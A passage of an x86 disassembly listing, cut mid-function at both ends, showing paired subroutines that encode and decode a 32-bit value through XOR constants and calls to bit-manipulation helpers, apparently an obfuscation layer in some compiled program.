		mov	[ebp+arg_0], eax
		push	17h
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 93D5877Eh
		mov	[ebp+arg_0], edx
		push	0FFFFFFF1h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0E0C7E95Bh
		mov	[ebp+arg_0], ecx
		push	0FFFFFFFBh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 109A5038h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4932D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4933E6	proc near		; CODE XREF: sub_495A73+C6p
					; sub_4962AA+C7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 6F2A152Dh
		mov	[ebp+arg_0], eax
		push	2
		push	0
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 7EAE9678h
		mov	[ebp+arg_0], edx
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	6
		push	0Fh
		push	0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0C474CD12h
		mov	[ebp+arg_0], edx
		push	6
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	3
		push	9
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4933E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493474	proc near		; CODE XREF: sub_495A73+Dp
					; sub_4962AA+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFDh
		push	9
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	6
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0C474CD12h
		mov	[ebp+arg_0], edx
		push	0FFFFFFFAh
		push	0Fh
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE2h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 7EAE9678h
		mov	[ebp+arg_0], edx
		push	0FFFFFFFEh
		push	0
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 6F2A152Dh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493474	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493503	proc near		; CODE XREF: sub_4951DA+85p
					; sub_4989E5+9Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 896FDAA7h
		mov	[ebp+arg_0], eax
		push	13h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	14h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0DC8E7CEFh
		mov	[ebp+arg_0], eax
		push	12h
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Ch
		push	0
		push	1Fh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0CFCD6E7Bh
		mov	[ebp+arg_0], eax
		push	9
		push	10h
		push	0Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49359E	proc near		; CODE XREF: sub_4951DA+Dp
					; sub_4989E5+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFE4h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		push	10h
		push	0Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0CFCD6E7Bh
		mov	[ebp+arg_0], edx
		push	0FFFFFFE4h
		push	0
		push	1Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	12h
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0DC8E7CEFh
		mov	[ebp+arg_0], edx
		push	0FFFFFFECh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	13h
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 896FDAA7h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49359E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49363C	proc near		; CODE XREF: sub_495BCB+172p
					; sub_49602D+E9p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0FE71655Ah
		mov	[ebp+arg_0], eax
		push	5
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	0Bh
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 9C3DDD69h
		mov	[ebp+arg_0], eax
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	17h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Fh
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	3
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	9
		push	0
		push	13h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	0Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49363C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49373C	proc near		; CODE XREF: sub_495BCB+Dp
					; sub_49602D+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	17h
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF9h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	0Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		push	0
		push	13h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	3
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Fh
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	17h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 9C3DDD69h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFF8h
		push	0Bh
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	5
		push	19h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0FE71655Ah
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49373C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49383E	proc near		; CODE XREF: sub_497CCC+92p
					; sub_49823A+76p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 55D13062h
		mov	[ebp+arg_0], eax
		push	9
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	3
		push	19h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Fh
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0FE4FFC3Bh
		mov	[ebp+arg_0], edx
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0A3C6C0h
		mov	[ebp+arg_0], edx
		push	0Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	9
		push	5
		push	15h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49383E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4938FD	proc near		; CODE XREF: sub_497CCC+Dp
					; sub_49823A+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFF7h
		push	5
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF6h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0A3C6C0h
		mov	[ebp+arg_0], edx
		push	0Ah
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEAh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0FE4FFC3Bh
		mov	[ebp+arg_0], edx
		push	0FFFFFFFBh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Fh
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		push	19h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 55D13062h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4938FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4939BD	proc near		; CODE XREF: sub_49818A+A0p
					; sub_499C30+87p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0F5DB02F4h
		mov	[ebp+arg_0], eax
		push	1Ch
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Ah
		push	0
		push	1Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	0Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	9
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	9
		push	16h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	14h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4939BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493A51	proc near		; CODE XREF: sub_49818A+Dp
					; sub_499C30+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFECh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	9
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF7h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	0Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFE6h
		push	0
		push	1Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Ch
		push	3
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0F5DB02F4h
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493AE6	proc near		; CODE XREF: sub_49526F+AAp
					; sub_4954BD+7Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 9D484E5Bh
		mov	[ebp+arg_0], eax
		push	0Dh
		push	5
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Eh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Eh
		push	4
		push	13h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 3B0C95AAh
		mov	[ebp+arg_0], eax
		push	0
		push	1Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0B91BDACEh
		mov	[ebp+arg_0], edx
		push	0Eh
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	12h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	9
		push	0Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0BE2CD440h
		mov	[ebp+arg_0], ecx
		push	4
		push	0
		push	1Eh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	1Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ch
		push	0Fh
		push	0Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493C4E	proc near		; CODE XREF: sub_49526F+Dp
					; sub_4954BD+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFF4h
		push	0Fh
		push	0Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0
		push	1Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		push	0
		push	1Eh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0BE2CD440h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		push	9
		push	0Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	12h
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE3h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Eh
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0B91BDACEh
		mov	[ebp+arg_0], edx
		push	0
		push	1Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 3B0C95AAh
		mov	[ebp+arg_0], ecx
		push	0Ch
		push	3
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFF2h
		push	4
		push	13h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE2h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Bh
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF3h
		push	5
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 9D484E5Bh
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493DB7	proc near		; CODE XREF: sub_495B49+72p
					; sub_495D4D+75p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, (offset loc_4B9F6E+5)
		mov	[ebp+arg_0], eax
		push	0Fh
		push	0
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 49AB408Dh
		mov	[ebp+arg_0], edx
		push	0
		push	1Ah
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	6
		push	13h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 5B5DE439h
		mov	[ebp+arg_0], eax
		push	5
		push	18h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 4155876Fh
		mov	[ebp+arg_0], edx
		push	0Ch
		push	0Fh
		push	0Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 842758ADh
		mov	[ebp+arg_0], ecx
		push	6
		push	9
		push	15h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C059A4C8h
		mov	[ebp+arg_0], eax
		push	0Ch
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	15h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	4
		push	3
		push	0Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	18h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_493DB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_493EDB	proc near		; CODE XREF: sub_495B49+Dp
					; sub_498A8F+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFE8h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFCh
		push	3
		push	0Dh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	15h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ch
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0C059A4C8h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFFAh
		push	9
		push	15h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 842758ADh
		mov	[ebp+arg_0], eax
		push	0FFFFFFF4h
		push	0Fh
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 4155876Fh
		mov	[ebp+arg_0], edx
		push	5
		push	18h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 5B5DE439h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFFAh
		push	13h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE4h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	1Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 49AB408Dh
		mov	[ebp+arg_0], edx
		push	0FFFFFFF1h
		push	0
		push	19h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
